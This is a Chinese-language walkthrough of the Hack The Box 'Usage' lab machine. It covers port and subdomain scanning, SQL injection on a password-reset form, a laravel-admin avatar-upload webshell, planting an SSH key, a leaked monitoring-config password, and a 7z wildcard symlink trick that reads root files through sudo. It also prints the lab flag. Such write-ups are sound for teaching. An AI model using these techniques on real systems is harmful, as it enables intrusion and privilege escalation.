簡介
靶場:hackmyvm
靶機:Usage(10.10.11.18)
難度:Easy
靶機鏈接:https://app.hackthebox.com/machines/Usage
攻擊機1:ubuntu22.04 (10.10.16.21)
攻擊機2:windows11(10.10.14.33)
掃描
nmap起手
nmap -sT --min-rate 10000 -p- 10.10.11.18/32 -oA nmapscan/ports ;ports=$(grep open ./nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',');echo $ports >> nmapscan/tcp_ports;
nmap -sT -sV -sC -O -p$ports 10.10.11.18 -oA nmapscan/detail
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-21 19:27 CST
Nmap scan report for 10.10.11.18
Host is up (0.16s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_ 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.82 seconds
linux靶機啊。總之從80端口開始,先把域名加入hosts,加個路由表就能上了
http
爆破子域名
ffuf -u http://10.10.11.18:80 -w $HVV_PATH/8_dict/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt -c -H "Host:FUZZ.usage.htb" -t 10 -fw 6
發現子域名admin
。其實主界面上就能點進去……
sql注入
看看用戶界面會是什么樣。
emmmm,怎么說呢,至少知道是laravel框架了?
laravel幾個經典RCE都打不通,試試幾個點注入一下,發現在http://usage.htb/forget-password
有一個報錯注入,依次輸入以下兩句:
' ORDER BY 8;-- -
' ORDER BY 9;-- -
前一句輸入網頁還正常顯示“沒有匹配記錄”,下一條直接爆500了。
直接起手sqlmap,爆出所有信息
得到密碼是whatever1
getshell
收集組件版本信息,laravel本身版本太高了沒啥戲,但是encore/laravel-admin
是版本1.8.18,查了一下發現一個非常接近的RCE
https://flyd.uk/post/cve-2023-24249/
說到底其實就是文件漏洞,主要是管理員更換頭像的功能
我們先以jpg格式正常上傳一個頭像
第二次則直接加上后綴.php
即可
復制鏈接地址就能得到shell路徑了
http://admin.usage.htb/uploads/images/1.jpg.php
值得一提的是,這服務器刪文件真的快……連上去趕快彈個shell維權
然后在dash用戶目錄下找到了user.txt
提權
先把攻擊機的ssh公鑰寫進authorized_keys,用ssh直接連上去即可
信息收集一波,發現dash開了monitrc服務,然后配置文件為.monitrc
,里面存儲了密碼:3nc0d3d_pa$$w0rd
成功登錄用戶xander
sudo -l,發現可以無密碼執行usage_managent
xander@usage:/tmp$ sudo -l
Matching Defaults entries for xander on usage:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_ptyUser xander may run the following commands on usage:(ALL : ALL) NOPASSWD: /usr/bin/usage_management
拉下來用ida看看,發現是備份程序,其中輸入1的話會備份網站
-snl: 這個選項是為了在壓縮文件中存儲符號鏈接(如果存在的話)而不是鏈接指向的實際文件。
-mmt: 啟用多線程壓縮,這可以加速壓縮過程,但可能會增加壓縮文件的大小。
–: 這是一個常用的命令行習慣,用于分隔命令行選項和后面的參數。這可以確保后面的內容(即使它們以 - 開頭)被視為文件名,而不是命令行選項。
*: 這是一個通配符,表示當前目錄下的所有文件和子目錄。所以這個命令會壓縮當前目錄下的所有內容。
幾乎可以說鎖死一切可能,遇到這種情況怎么辦呢?
cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt
然后就能通過報錯泄露信息了。原理就是@root.txt
把root.txt定義成目錄文件,這樣當7z用目錄形式讀取它的時候就會報錯然后顯示其所鏈接的文件的內容。
b26d9f463d705ae9bf861577e1253d55